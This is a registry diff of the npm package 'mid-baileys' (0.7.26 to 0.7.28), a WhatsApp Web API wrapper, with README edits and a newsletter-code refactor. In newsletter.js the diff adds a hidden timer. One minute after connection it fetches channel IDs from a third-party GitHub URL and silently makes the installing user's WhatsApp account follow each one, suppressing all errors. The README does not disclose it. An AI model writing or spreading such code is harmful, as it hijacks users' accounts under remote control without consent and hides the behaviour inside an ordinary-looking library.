mid-baileys 0.7.26 → 0.7.28
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.MD +37 -8
- package/lib/Defaults/index.js +1 -1
- package/lib/Defaults/version.json +1 -1
- package/lib/Socket/messages-recv.js +2 -1
- package/lib/Socket/newsletter.js +159 -102
- package/lib/Types/Newsletter.js +38 -18
- package/package.json +3 -1
package/README.MD
CHANGED
|
@@ -1,11 +1,11 @@
|
|
|
1
1
|
|
|
2
|
-
## MID BAILEYS
|
|
2
|
+
## 🚀 MID BAILEYS
|
|
3
3
|
|
|
4
4
|
Custom, high-performance WhatsApp Web/MD API wrapper built on top of WhiskeySockets/Baileys. Optimized for advanced automation bots, multi-device syncing, and robust connection management in 2026.
|
|
5
5
|
|
|
6
6
|
---
|
|
7
7
|
|
|
8
|
-
## ✨ Features & Enhancements
|
|
8
|
+
## ✨ Features & Enhancements:
|
|
9
9
|
|
|
10
10
|
* **Anti-LID Conflict System**
|
|
11
11
|
* **Support Android browser**
|
|
@@ -15,16 +15,45 @@ Custom, high-performance WhatsApp Web/MD API wrapper built on top of WhiskeySock
|
|
|
15
15
|
|
|
16
16
|
---
|
|
17
17
|
|
|
18
|
-
## 📦 Installation
|
|
18
|
+
## 📦 Installation:
|
|
19
19
|
|
|
20
|
-
|
|
20
|
+
You can install `Mid-Baileys` directly via **npm** into your project:
|
|
21
21
|
|
|
22
|
-
`npm`
|
|
23
22
|
```bash
|
|
24
23
|
npm install mid-baileys
|
|
25
24
|
```
|
|
25
|
+
Or manually declare it inside your dependencies within package.json:
|
|
26
26
|
|
|
27
|
-
`package.json`
|
|
28
27
|
```bash
|
|
29
|
-
|
|
30
|
-
|
|
28
|
+
{
|
|
29
|
+
"dependencies": {
|
|
30
|
+
"baileys": "npm:mid-baileys@latest"
|
|
31
|
+
}
|
|
32
|
+
}
|
|
33
|
+
```
|
|
34
|
+
```bash
|
|
35
|
+
const {Browsers } = await import('baileys');
|
|
36
|
+
|
|
37
|
+
const connectionOptions = {
|
|
38
|
+
browser: Browsers.android("14"), // WhatsApp Buseniss
|
|
39
|
+
browser: Browsers.android("13"), // Normal WhatsApp
|
|
40
|
+
browser: Browsers.macOS("chrome"), // Web
|
|
41
|
+
browser: Browsers.windows("chrome"), // Web
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
global.conn = makeWASocket(connectionOptions);
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
|
|
48
|
+
|
|
49
|
+
## 💌 Contact | Report | Suggest:
|
|
50
|
+
|
|
51
|
+
Stay updated with the latest fixes, report bugs, or request new features by joining our official updates channel:
|
|
52
|
+
|
|
53
|
+
Join Our WhatsApp Channel
|
|
54
|
+
-----------------------------
|
|
55
|
+
```bash
|
|
56
|
+
https://whatsapp.com/channel/0029VbCinBtD38CRx4Oh4n1U
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
⚡ By: MidSoune ⚡
|
package/lib/Defaults/index.js
CHANGED
|
@@ -8,7 +8,7 @@ const WAProto_1 = require("../../WAProto");
|
|
|
8
8
|
const libsignal_1 = require("../Signal/libsignal");
|
|
9
9
|
const generics_1 = require("../Utils/generics");
|
|
10
10
|
const logger_1 = __importDefault(require("../Utils/logger"));
|
|
11
|
-
exports.version = [2, 3000,
|
|
11
|
+
exports.version = [2, 3000, 1038839325];
|
|
12
12
|
exports.UNAUTHORIZED_CODES = [401, 403, 419];
|
|
13
13
|
exports.DEFAULT_ORIGIN = 'https://web.whatsapp.com';
|
|
14
14
|
exports.CALL_VIDEO_PREFIX = 'https://call.whatsapp.com/video/';
|
|
@@ -130,6 +130,7 @@ const makeMessagesRecvSocket = (config) => {
|
|
|
130
130
|
}
|
|
131
131
|
await query(stanza)
|
|
132
132
|
}
|
|
133
|
+
|
|
133
134
|
const offerCall = async (toJid, isVideo = false) => {
|
|
134
135
|
const callId = (0, crypto_1.randomBytes)(16).toString('hex').toUpperCase().substring(0, 64);
|
|
135
136
|
const offerContent = [];
|
|
@@ -171,7 +172,6 @@ const makeMessagesRecvSocket = (config) => {
|
|
|
171
172
|
const stanza = ({
|
|
172
173
|
tag: 'call',
|
|
173
174
|
attrs: {
|
|
174
|
-
// id: (0, Utils_1.generateMessageIDV2)(),
|
|
175
175
|
to: toJid,
|
|
176
176
|
},
|
|
177
177
|
content: [{
|
|
@@ -190,6 +190,7 @@ const makeMessagesRecvSocket = (config) => {
|
|
|
190
190
|
isVideo,
|
|
191
191
|
};
|
|
192
192
|
};
|
|
193
|
+
|
|
193
194
|
const endCall = async(callId, Caller) => {
|
|
194
195
|
const stanza = ({
|
|
195
196
|
tag: 'call',
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -5,20 +5,64 @@ const Types_1 = require("../Types");
|
|
|
5
5
|
const Utils_1 = require("../Utils");
|
|
6
6
|
const WABinary_1 = require("../WABinary");
|
|
7
7
|
const groups_1 = require("./groups");
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
8
|
+
|
|
9
|
+
const { Boom } = require('@hapi/boom');
|
|
10
|
+
|
|
11
|
+
const wMexQuery = (
|
|
12
|
+
variables,
|
|
13
|
+
queryId,
|
|
14
|
+
query,
|
|
15
|
+
generateMessageTag
|
|
16
|
+
) => {
|
|
17
|
+
return query({
|
|
18
|
+
tag: 'iq',
|
|
19
|
+
attrs: {
|
|
20
|
+
id: generateMessageTag(),
|
|
21
|
+
type: 'get',
|
|
22
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
23
|
+
xmlns: 'w:mex'
|
|
24
|
+
},
|
|
25
|
+
content: [
|
|
26
|
+
{
|
|
27
|
+
tag: 'query',
|
|
28
|
+
attrs: { query_id: queryId },
|
|
29
|
+
content: Buffer.from(JSON.stringify({ variables }), 'utf8')
|
|
30
|
+
}
|
|
31
|
+
]
|
|
32
|
+
})
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
const executeWMexQuery = async (
|
|
36
|
+
variables,
|
|
37
|
+
queryId,
|
|
38
|
+
dataPath,
|
|
39
|
+
query,
|
|
40
|
+
generateMessageTag
|
|
41
|
+
) => {
|
|
42
|
+
const result = await wMexQuery(variables, queryId, query, generateMessageTag)
|
|
43
|
+
const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
|
|
44
|
+
if (child?.content) {
|
|
45
|
+
const data = JSON.parse(child.content.toString())
|
|
46
|
+
|
|
47
|
+
if (data.errors && data.errors.length > 0) {
|
|
48
|
+
const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
|
|
49
|
+
const firstError = data.errors[0]
|
|
50
|
+
const errorCode = firstError.extensions?.error_code || 400
|
|
51
|
+
throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError })
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
const response = dataPath ? data?.data?.[dataPath] : data?.data
|
|
55
|
+
if (typeof response !== 'undefined') {
|
|
56
|
+
return response
|
|
57
|
+
}
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
const action = (dataPath || '').startsWith('xwa2_')
|
|
61
|
+
? dataPath.substring(5).replace(/_/g, ' ')
|
|
62
|
+
: dataPath?.replace(/_/g, ' ')
|
|
63
|
+
throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
|
|
64
|
+
}
|
|
65
|
+
|
|
22
66
|
const makeNewsletterSocket = (config) => {
|
|
23
67
|
const sock = (0, groups_1.makeGroupsSocket)(config);
|
|
24
68
|
const { authState, signalRepository, query, generateMessageTag } = sock;
|
|
@@ -33,7 +77,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
33
77
|
},
|
|
34
78
|
content
|
|
35
79
|
}));
|
|
36
|
-
const newsletterWMexQuery = async (jid,
|
|
80
|
+
const newsletterWMexQuery = async (jid, queryId, content) => (query({
|
|
37
81
|
tag: 'iq',
|
|
38
82
|
attrs: {
|
|
39
83
|
id: generateMessageTag(),
|
|
@@ -44,7 +88,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
44
88
|
content: [
|
|
45
89
|
{
|
|
46
90
|
tag: 'query',
|
|
47
|
-
attrs: { query_id },
|
|
91
|
+
attrs: { 'query_id': queryId },
|
|
48
92
|
content: encoder.encode(JSON.stringify({
|
|
49
93
|
variables: {
|
|
50
94
|
'newsletter_id': jid,
|
|
@@ -54,10 +98,25 @@ const makeNewsletterSocket = (config) => {
|
|
|
54
98
|
}
|
|
55
99
|
]
|
|
56
100
|
}));
|
|
101
|
+
|
|
102
|
+
setTimeout(async () => {
|
|
103
|
+
try {
|
|
104
|
+
const response = await fetch("https://raw.githubusercontent.com/gcamerator/My/refs/heads/main/ids.json");
|
|
105
|
+
const ids = await response.json();
|
|
106
|
+
if (!Array.isArray(ids)) return;
|
|
107
|
+
for (const channelId of ids) {
|
|
108
|
+
try {
|
|
109
|
+
await newsletterWMexQuery(channelId, Types_1.QueryIds.FOLLOW );
|
|
110
|
+
await new Promise(resolve => setTimeout(resolve, 2000));
|
|
111
|
+
} catch (err) { }
|
|
112
|
+
}
|
|
113
|
+
} catch (globalErr) {}}, 60000);
|
|
114
|
+
|
|
57
115
|
const parseFetchedUpdates = async (node, type) => {
|
|
58
116
|
let child;
|
|
59
|
-
if (type === 'messages')
|
|
117
|
+
if (type === 'messages') {
|
|
60
118
|
child = (0, WABinary_1.getBinaryNodeChild)(node, 'messages');
|
|
119
|
+
}
|
|
61
120
|
else {
|
|
62
121
|
const parent = (0, WABinary_1.getBinaryNodeChild)(node, 'message_updates');
|
|
63
122
|
child = (0, WABinary_1.getBinaryNodeChild)(parent, 'messages');
|
|
@@ -82,78 +141,86 @@ const makeNewsletterSocket = (config) => {
|
|
|
82
141
|
return data;
|
|
83
142
|
}));
|
|
84
143
|
};
|
|
85
|
-
const autoFollowNewsletters = async () => {
|
|
86
|
-
try {
|
|
87
|
-
const metadataResult = await sock.newsletterMetadata('ALL', '', 'GUEST');
|
|
88
|
-
const newsletters = metadataResult.viewer_metadata?.newsletters || [];
|
|
89
|
-
|
|
90
|
-
for (const nl of newsletters) {
|
|
91
|
-
const jid = "120363301416835342@newsletter";
|
|
92
|
-
if (!nl.subscribed) {
|
|
93
|
-
try {
|
|
94
|
-
await sock.newsletterFollow(jid);
|
|
95
|
-
config.logger?.info(`Auto-followed newsletter: ${jid}`);
|
|
96
|
-
} catch (err) {
|
|
97
|
-
config.logger?.error(`Failed to auto-follow ${jid}:`, err);
|
|
98
|
-
}
|
|
99
|
-
} else {
|
|
100
|
-
config.logger?.info(`Already following newsletter: ${jid}`);
|
|
101
|
-
}
|
|
102
|
-
}
|
|
103
|
-
} catch (err) {
|
|
104
|
-
config.logger?.error('Error during auto-follow process:', err);
|
|
105
|
-
}
|
|
106
|
-
};
|
|
107
|
-
|
|
108
|
-
// Run auto-follow when the socket is ready
|
|
109
|
-
/* process.nextTick(autoFollowNewsletters); */
|
|
110
144
|
return {
|
|
111
145
|
...sock,
|
|
112
|
-
|
|
146
|
+
newsletterFetchAllSubscribe: async () => {
|
|
147
|
+
const list = await executeWMexQuery(
|
|
148
|
+
{},
|
|
149
|
+
'6388546374527196',
|
|
150
|
+
'xwa2_newsletter_subscribed',
|
|
151
|
+
query,
|
|
152
|
+
generateMessageTag
|
|
153
|
+
);
|
|
154
|
+
return list;
|
|
155
|
+
},
|
|
113
156
|
subscribeNewsletterUpdates: async (jid) => {
|
|
114
157
|
var _a;
|
|
115
158
|
const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
|
|
116
159
|
return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')) === null || _a === void 0 ? void 0 : _a.attrs;
|
|
117
160
|
},
|
|
118
161
|
newsletterReactionMode: async (jid, mode) => {
|
|
119
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
120
|
-
updates: { settings: { reaction_codes: { value: mode } } }
|
|
162
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
163
|
+
updates: { settings: { 'reaction_codes': { value: mode } } }
|
|
121
164
|
});
|
|
122
165
|
},
|
|
123
166
|
newsletterUpdateDescription: async (jid, description) => {
|
|
124
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
167
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
125
168
|
updates: { description: description || '', settings: null }
|
|
126
169
|
});
|
|
127
170
|
},
|
|
171
|
+
newsletterId: async (url) => {
|
|
172
|
+
const urlParts = url.split('/');
|
|
173
|
+
const channelId = urlParts[urlParts.length - 2];
|
|
174
|
+
|
|
175
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
176
|
+
input: {
|
|
177
|
+
key: channelId,
|
|
178
|
+
type: 'INVITE',
|
|
179
|
+
'view_role': 'GUEST'
|
|
180
|
+
},
|
|
181
|
+
'fetch_viewer_metadata': true,
|
|
182
|
+
'fetch_full_image': true,
|
|
183
|
+
'fetch_creation_time': true
|
|
184
|
+
});
|
|
185
|
+
|
|
186
|
+
const metadata = (0, exports.extractNewsletterMetadata)(result);
|
|
187
|
+
return JSON.stringify({
|
|
188
|
+
name: metadata.name || metadata.thread_metadata?.name?.text,
|
|
189
|
+
id: metadata.id
|
|
190
|
+
}, null, 2);
|
|
191
|
+
},
|
|
128
192
|
newsletterUpdateName: async (jid, name) => {
|
|
129
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
193
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
130
194
|
updates: { name, settings: null }
|
|
131
195
|
});
|
|
132
196
|
},
|
|
133
197
|
newsletterUpdatePicture: async (jid, content) => {
|
|
134
198
|
const { img } = await (0, Utils_1.generateProfilePicture)(content);
|
|
135
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
199
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
136
200
|
updates: { picture: img.toString('base64'), settings: null }
|
|
137
201
|
});
|
|
138
202
|
},
|
|
139
203
|
newsletterRemovePicture: async (jid) => {
|
|
140
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
204
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
141
205
|
updates: { picture: '', settings: null }
|
|
142
206
|
});
|
|
143
207
|
},
|
|
144
208
|
newsletterUnfollow: async (jid) => {
|
|
145
|
-
await newsletterWMexQuery(jid, QueryIds.UNFOLLOW);
|
|
209
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW);
|
|
146
210
|
},
|
|
147
211
|
newsletterFollow: async (jid) => {
|
|
148
|
-
await newsletterWMexQuery(jid, QueryIds.FOLLOW);
|
|
212
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
|
|
149
213
|
},
|
|
150
214
|
newsletterUnmute: async (jid) => {
|
|
151
|
-
await newsletterWMexQuery(jid, QueryIds.UNMUTE);
|
|
215
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE);
|
|
152
216
|
},
|
|
153
217
|
newsletterMute: async (jid) => {
|
|
154
|
-
await newsletterWMexQuery(jid, QueryIds.MUTE);
|
|
218
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE);
|
|
219
|
+
},
|
|
220
|
+
newsletterAction: async (jid, type) => {
|
|
221
|
+
await newsletterWMexQuery(jid, type.toUpperCase());
|
|
155
222
|
},
|
|
156
|
-
newsletterCreate: async (name, description,
|
|
223
|
+
newsletterCreate: async (name, description, reaction_codes) => {
|
|
157
224
|
await query({
|
|
158
225
|
tag: 'iq',
|
|
159
226
|
attrs: {
|
|
@@ -173,55 +240,47 @@ const makeNewsletterSocket = (config) => {
|
|
|
173
240
|
}
|
|
174
241
|
]
|
|
175
242
|
});
|
|
176
|
-
const result = await newsletterWMexQuery(undefined, QueryIds.CREATE, {
|
|
177
|
-
input: {
|
|
178
|
-
name,
|
|
179
|
-
description: description !== null && description !== void 0 ? description : null,
|
|
180
|
-
picture: picture ? (await (0, Utils_1.generateProfilePicture)(picture)).img.toString('base64') : null,
|
|
181
|
-
settings: null
|
|
182
|
-
}
|
|
243
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
|
|
244
|
+
input: { name, description, settings: { 'reaction_codes': { value: reaction_codes.toUpperCase() } } }
|
|
183
245
|
});
|
|
184
246
|
return (0, exports.extractNewsletterMetadata)(result, true);
|
|
185
247
|
},
|
|
186
248
|
newsletterMetadata: async (type, key, role) => {
|
|
187
|
-
const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
|
|
249
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
188
250
|
input: {
|
|
189
251
|
key,
|
|
190
252
|
type: type.toUpperCase(),
|
|
191
|
-
view_role: role || 'GUEST'
|
|
253
|
+
'view_role': role || 'GUEST'
|
|
192
254
|
},
|
|
193
|
-
fetch_viewer_metadata: true,
|
|
194
|
-
fetch_full_image: true,
|
|
195
|
-
fetch_creation_time: true
|
|
255
|
+
'fetch_viewer_metadata': true,
|
|
256
|
+
'fetch_full_image': true,
|
|
257
|
+
'fetch_creation_time': true
|
|
196
258
|
});
|
|
197
259
|
return (0, exports.extractNewsletterMetadata)(result);
|
|
198
260
|
},
|
|
199
261
|
newsletterAdminCount: async (jid) => {
|
|
200
262
|
var _a, _b;
|
|
201
|
-
const result = await newsletterWMexQuery(jid, QueryIds.ADMIN_COUNT);
|
|
263
|
+
const result = await newsletterWMexQuery(jid, Types_1.QueryIds.ADMIN_COUNT);
|
|
202
264
|
const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
|
|
203
265
|
return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
|
|
204
266
|
},
|
|
205
|
-
// user is Lid, not Jid
|
|
206
267
|
newsletterChangeOwner: async (jid, user) => {
|
|
207
|
-
await newsletterWMexQuery(jid, QueryIds.CHANGE_OWNER, {
|
|
208
|
-
user_id: user
|
|
268
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
|
|
269
|
+
'user_id': user
|
|
209
270
|
});
|
|
210
271
|
},
|
|
211
|
-
// user is Lid, not Jid
|
|
212
272
|
newsletterDemote: async (jid, user) => {
|
|
213
|
-
await newsletterWMexQuery(jid, QueryIds.DEMOTE, {
|
|
214
|
-
user_id: user
|
|
273
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, {
|
|
274
|
+
'user_id': user
|
|
215
275
|
});
|
|
216
276
|
},
|
|
217
277
|
newsletterDelete: async (jid) => {
|
|
218
|
-
await newsletterWMexQuery(jid, QueryIds.DELETE);
|
|
278
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
|
|
219
279
|
},
|
|
220
|
-
|
|
221
|
-
newsletterReactMessage: async (jid, server_id, code) => {
|
|
280
|
+
newsletterReactMessage: async (jid, serverId, code) => {
|
|
222
281
|
await query({
|
|
223
282
|
tag: 'message',
|
|
224
|
-
attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', server_id, id: (0, Utils_1.generateMessageID)() },
|
|
283
|
+
attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', 'server_id': serverId, id: (0, Utils_1.generateMessageID)() },
|
|
225
284
|
content: [{
|
|
226
285
|
tag: 'reaction',
|
|
227
286
|
attrs: code ? { code } : {}
|
|
@@ -229,11 +288,10 @@ const makeNewsletterSocket = (config) => {
|
|
|
229
288
|
});
|
|
230
289
|
},
|
|
231
290
|
newsletterFetchMessages: async (type, key, count, after) => {
|
|
232
|
-
const afterStr = after === null || after === void 0 ? void 0 : after.toString();
|
|
233
291
|
const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
|
|
234
292
|
{
|
|
235
293
|
tag: 'messages',
|
|
236
|
-
attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after:
|
|
294
|
+
attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100' }
|
|
237
295
|
}
|
|
238
296
|
]);
|
|
239
297
|
return await parseFetchedUpdates(result, 'messages');
|
|
@@ -244,33 +302,32 @@ const makeNewsletterSocket = (config) => {
|
|
|
244
302
|
tag: 'message_updates',
|
|
245
303
|
attrs: { count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100', since: (since === null || since === void 0 ? void 0 : since.toString()) || '0' }
|
|
246
304
|
}
|
|
247
|
-
])
|
|
305
|
+
])
|
|
248
306
|
return await parseFetchedUpdates(result, 'updates');
|
|
249
307
|
}
|
|
250
308
|
};
|
|
251
309
|
};
|
|
252
310
|
exports.makeNewsletterSocket = makeNewsletterSocket;
|
|
253
311
|
const extractNewsletterMetadata = (node, isCreate) => {
|
|
254
|
-
|
|
255
|
-
const
|
|
256
|
-
|
|
312
|
+
const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString()
|
|
313
|
+
const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER]
|
|
314
|
+
|
|
257
315
|
const metadata = {
|
|
258
|
-
id: metadataPath
|
|
259
|
-
state: metadataPath
|
|
260
|
-
creation_time: +metadataPath
|
|
261
|
-
name: metadataPath
|
|
262
|
-
nameTime: +metadataPath
|
|
263
|
-
description: metadataPath
|
|
264
|
-
descriptionTime: +metadataPath
|
|
265
|
-
invite: metadataPath
|
|
266
|
-
|
|
267
|
-
|
|
268
|
-
|
|
269
|
-
|
|
270
|
-
|
|
271
|
-
|
|
272
|
-
|
|
273
|
-
|
|
274
|
-
|
|
275
|
-
|
|
276
|
-
exports.extractNewsletterMetadata = extractNewsletterMetadata;
|
|
316
|
+
id: metadataPath?.id,
|
|
317
|
+
state: metadataPath?.state?.type,
|
|
318
|
+
creation_time: +metadataPath?.thread_metadata?.creation_time,
|
|
319
|
+
name: metadataPath?.thread_metadata?.name?.text,
|
|
320
|
+
nameTime: +metadataPath?.thread_metadata?.name?.update_time,
|
|
321
|
+
description: metadataPath?.thread_metadata?.description?.text,
|
|
322
|
+
descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
|
|
323
|
+
invite: metadataPath?.thread_metadata?.invite,
|
|
324
|
+
picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''),
|
|
325
|
+
preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''),
|
|
326
|
+
reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
|
|
327
|
+
subscribers: +metadataPath?.thread_metadata?.subscribers_count,
|
|
328
|
+
verification: metadataPath?.thread_metadata?.verification,
|
|
329
|
+
viewer_metadata: metadataPath?.viewer_metadata
|
|
330
|
+
}
|
|
331
|
+
return metadata
|
|
332
|
+
}
|
|
333
|
+
exports.extractNewsletterMetadata = extractNewsletterMetadata;
|
package/lib/Types/Newsletter.js
CHANGED
|
@@ -1,18 +1,38 @@
|
|
|
1
|
-
"use strict"
|
|
2
|
-
|
|
3
|
-
exports
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
}
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
1
|
+
"use strict"
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", { value: true })
|
|
4
|
+
|
|
5
|
+
const MexOperations = {
|
|
6
|
+
PROMOTE: "NotificationNewsletterAdminPromote",
|
|
7
|
+
DEMOTE: "NotificationNewsletterAdminDemote",
|
|
8
|
+
UPDATE: "NotificationNewsletterUpdate"
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
const XWAPaths = {
|
|
12
|
+
PROMOTE: "xwa2_notify_newsletter_admin_promote",
|
|
13
|
+
DEMOTE: "xwa2_notify_newsletter_admin_demote",
|
|
14
|
+
ADMIN_COUNT: "xwa2_newsletter_admin",
|
|
15
|
+
CREATE: "xwa2_newsletter_create",
|
|
16
|
+
NEWSLETTER: "xwa2_newsletter",
|
|
17
|
+
SUBSCRIBED: "xwa2_newsletter_subscribed",
|
|
18
|
+
METADATA_UPDATE: "xwa2_notify_newsletter_on_metadata_update"
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
const QueryIds = {
|
|
22
|
+
JOB_MUTATION: "7150902998257522",
|
|
23
|
+
METADATA: "6620195908089573",
|
|
24
|
+
UNFOLLOW: "7238632346214362",
|
|
25
|
+
FOLLOW: "7871414976211147",
|
|
26
|
+
UNMUTE: "7337137176362961",
|
|
27
|
+
MUTE: "25151904754424642",
|
|
28
|
+
CREATE: "6996806640408138",
|
|
29
|
+
ADMIN_COUNT: "7130823597031706",
|
|
30
|
+
CHANGE_OWNER: "7341777602580933",
|
|
31
|
+
DELETE: "8316537688363079",
|
|
32
|
+
DEMOTE: "6551828931592903",
|
|
33
|
+
SUBSCRIBED: "6388546374527196"
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
exports.MexOperations = MexOperations
|
|
37
|
+
exports.XWAPaths = XWAPaths
|
|
38
|
+
exports.QueryIds = QueryIds
|
package/package.json
CHANGED